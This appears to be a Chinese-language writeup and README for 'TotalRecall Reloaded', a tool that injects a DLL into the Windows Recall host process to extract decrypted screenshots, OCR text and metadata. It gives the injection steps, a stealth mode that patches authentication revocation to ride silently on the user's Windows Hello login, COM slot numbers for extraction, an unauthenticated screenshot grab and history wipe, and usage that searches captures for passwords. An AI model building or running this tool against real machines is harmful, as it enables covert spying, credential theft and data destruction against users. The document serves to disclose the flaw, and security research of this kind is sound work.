再次攻破 Windows Recall。
image
当微软重新设计 Recall时,加入了 VBS 飞地、AES-256-GCM 加密、Windows Hello 认证以及 Protected Process Light 宿主,其信息很明确:数据被锁在保险库中。
保险库很坚固。但运送数据的卡车并不坚固。
AIXHost.exe,即渲染 Recall 时间线的进程,没有 PPL、没有 AppContainer、没有代码完整性强制。任何以当前登录用户身份运行的进程都可以向它注入代码,并调用与合法 UI 相同的 COM API。一旦用户通过 Windows Hello 认证,解密后的截图、OCR 文本和元数据就会以实时 COM 对象的形式流经 AIXHost.exe。TotalRecall Reloaded 就驻留在该进程内部,提取所有内容。
无需管理员权限。标准用户即可。无需内核漏洞。无需密码学绕过。只需 COM 调用。
TotalRecall Reloaded 包含两个文件:一个注入器(totalrecall.exe)和一个 payload DLL(totalrecall_payload.dll)。
注入器通过 CreateToolhelp32Snapshot 找到 AIXHost.exe,使用 VirtualAllocEx 在目标进程中分配内存,通过 WriteProcessMemory 写入 DLL 路径,然后创建一个指向 LoadLibraryW 的远程线程。经典的 DLL 注入。没什么特别的,因为根本不需要什么特别的。AIXHost.exe 对此没有任何防护。
此操作在标准用户权限下即可工作。无需提权,无需 SeDebugPrivilege。Windows 默认的 DACL 允许同一用户进程完全访问彼此。已验证:令牌在中等强制级别运行,BUILTIN\Administrators 设置为仅拒绝。
VBS 飞地不会解密任何未通过 Windows Hello 认证的数据。该工具并未绕过这一点。它让用户自行完成认证,在用户完成认证时静默搭载,或者等待用户完成认证。
--launch 通过 keybd_event 模拟 Win+J(打开 Recall 时间线的键盘快捷键)。用户会看到 Hello 提示(面部、指纹或 PIN),进行认证,然后飞地开始提供解密后的数据。从用户角度看,Recall 只是正常打开了。从我们角度看,payload 早已注入并在等待。
--stealth 是完全静默模式。工作方式如下:
AIXHost.exe(始终运行)并修补 DiscardDataAccess 使其成为空操作AIXHost.exe 终止并重新生成。工具检测到重启,重新注入新进程aihost.exe 中持久存在(撤销被阻止)。提取立即开始--wait 是 --launch 的被动对应模式。工具不模拟 Win+J,而是空闲等待用户自行打开 Recall——通过任务栏、快捷键或其他方式。当 AIXHost.exe 出现且用户自然完成 Hello 认证后,payload 被注入并开始提取。适用于正在被观察的机器,或者需要让 Recall 会话看起来完全由用户发起、没有任何合成键盘输入的情况。
一旦进入 AIXHost.exe,payload 使用 CoInitializeEx(COINIT_APARTMENTTHREADED) 初始化 COM 单元,并通过 CoSetProxyBlanket(EOAC_DYNAMIC_CLOAKING) 设置代理身份转发。这至关重要。没有动态伪装,COM 代理就不会将已认证的身份传递给服务器。
提取过程遵循与合法 Recall UI 相同的路径:
飞地初始化:DataManager.Load() 触发飞地密钥加载。DataStoreManager.DecryptDatabase()(槽位 37)准备解密后的视图。Payload 轮询 DataManager.DataStatus 直到返回 3(已解锁)。
实体枚举:MemoryEntityStatics.GetLightMemoryItemsBefore()(槽位 9)返回轻量级实体引用的向量。每个引用在偏移量 +8 处携带一个上下文 ID。在典型机器上,这会返回数百个跨越数天或数周活动的实体。
逐个实体提取:对于每个上下文 ID,payload 通过 ContextEngine2.TryGetEntityForId()(槽位 6)加载完整实体,通过 IEntityWrapper(槽位 6)解包,并 QueryInterface 到 IMemoryEntity。然后:
TryGetBitmapCaptureAsync()(槽位 19)返回 SoftwareBitmap。QueryInterface 到 ISoftwareBitmapNative,调用 GetData(IID_IWICBitmap) 获取 WIC 位图,通过 IWICBitmapEncoder 编码为 PNGContextEngine2.TryGetMemoryEntityDetailsForIdAsync()(槽位 8)返回实体详情。QI 到 IMemoryEntityDetails 获取 OcrLines(槽位 7),IMemoryEntityDetails2 获取 NER 文本实体(人物、电子邮件、地址),以及 IMemoryEntityDetails4 获取 AI 活动描述重试轮次:Baker.dll(Recall UI 库)异步填充 ContextEngine 缓存。在初始遍历之后,payload 泵送 Windows 消息 3 秒(PeekMessage/DispatchMessage 循环)并重试任何之前不可用的实体。每轮通常能多获取约 12 个实体。最多重试 10 轮。
每个调用都包装在 __try/__except 中,因为单个 COM 代理调用中的访问冲突会永久杀死通往 aihost.exe 的 RPC 通道。这是无法恢复的。你必须重启 AIXHost.exe。SEH 包装器捕获因错误参数类型导致的崩溃,并保持会话存活。
几项操作无需任何 Hello 认证即可工作:
截图提取:RecallPrivacyIndicatorSettings(CLSID {42C63551-...})在槽位 13 暴露了 GetRecentCaptureThumbnail(width, height)。方法名虽说是“缩略图”,但服务器并未强制分辨率上限。传入 3840x3840 会返回最近的 Recall 全分辨率截图。IRandomAccessStream 结果通过 CreateStreamOverRandomAccessStream(shcore.dll)转换为 IStream,并以 BMP 格式转储。
数据销毁:IDataStoreManager::DeleteEvents()(槽位 12)会清除整个捕获历史。无需参数,无需认证。Ghidra 分析确认:FUN_1802ddd10 的删除处理函数中不包含对授权门控函数的调用。认证检查从未被接入。
元数据泄露:存储路径(包括用户特定的 UKP GUID)、数据库大小、保留策略、捕获状态以及最近的捕获上下文 ID,均可通过 IDataStoreManagerStatics 和 RecallPrivacyIndicatorSettings 在无需认证的情况下读取。
image``` totalrecall.exe --launch Open Recall, trigger Hello, extract everything totalrecall.exe --stealth Silent extraction (patches auth revocation, waits) totalrecall.exe --wait Wait for user to manually open Recall totalrecall.exe --preauth Grab latest screenshot + settings (no Hello) totalrecall.exe --search "password" Search OCR text in latest extraction totalrecall.exe --destroy Wipe all Recall data (confirmation required, no Hello)
| 模式 | 需要身份验证 | 功能说明 |
|------|:---:|-------------|
| `--launch` | 需要 | 模拟 Win+J,用户认证后,完整提取 |
| `--stealth` | 被动 | 修补认证撤销,等待用户认证 Recall,静默提取 |
| `--wait` | 需要 | 等待用户自然打开 Recall,然后提取 |
| `--preauth` | **否** | 最新截图 + 所有设置 |
| `--search` | 否 | 最新提取中的不区分大小写 OCR 文本搜索 |
| `--destroy` | **否** | `DeleteEvents()`,不可逆,需输入 DESTROY 确认 |
### 输出示例
**`--stealth`(首次运行,等待用户):**```
[+] Target: AIXHost.exe PID 8648 (stealth mode)
[*] Patching auth revocation...
[+] Waiting for Recall session...
[+] Recall session detected
[*] Waiting for user to close Recall...
[*] Recall closed, waiting for AIXHost to respawn...
[+] Extracting from AIXHost PID 26208
[+] Payload active
[*] Extracting
[##############################] 384/384 entities
EXTRACTION COMPLETE 6 min 51 sec
Screenshots 192 328.8 MB
OCR Text 184 535.2 KB
Metadata (CSV) 384 97.4 KB
--stealth(后续运行,缓存会话):```
[+] Target: AIXHost.exe PID 27532 (stealth mode)
[] Patching auth revocation...
[+] Waiting for Recall session...
[+] Cached session found, extracting...
[] Extracting
[##############################] 398/398 entities
**`--launch`:**```
[+] Target: AIXHost.exe PID 14636 Memory 60 MB
[*] Triggering Recall via Win+J...
[*] Waiting for Hello authentication authenticating
[+] Recall ready PID 14636 Memory 242 MB
[*] Extracting
[##############################] 212/212 entities
EXTRACTION COMPLETE 3 min 59 sec
Screenshots 104 184.0 MB
--preauth(不需要 Hello):```
[+] Target: AIXHost.exe PID 27532 (pre-auth mode)
[*] Injecting payload (pre-auth only)...
[+] Payload active
PRE-AUTH EXTRACTION COMPLETE 0 min 1 sec
Screenshot 4K (3840x2464) 36.1 MB
Settings Storage Path C:\Users<user>\AppData\Local\CoreAIPlatform.00\UKP{...} Storage Size 178.3 MB Capture Count 0 Retention Days 90
**`--search`:**```
Searching for: "password"
In: extraction_20260406_152736
[1] === [12] ctxId=90443 Settings | Chrome ===
Saved passwords and passkeys
[2] === [47] ctxId=91201 inbox | Thunderbird ===
Your temporary password has been reset
extraction_20260404_143052/ screenshots/ Full-resolution decrypted PNGs screenshots/*.txt Per-image OCR text thumbnails/ Thumbnail PNGs (fallback when full screenshot unavailable) ocr_text.txt Combined OCR text for all captures recall_data.csv Structured metadata settings.txt Storage path, size, retention, capture state latest_capture_4k.bmp Pre-auth screenshot of most recent capture extraction.log Detailed extraction log with timing
## 构建
**要求:** 安装了ARM64 C++工具的Visual Studio,启用了Recall功能的Windows 11 ARM64。```
make.bat
生成 totalrecall.exe 和 totalrecall_payload.dll。运行两者时必须位于同一目录下。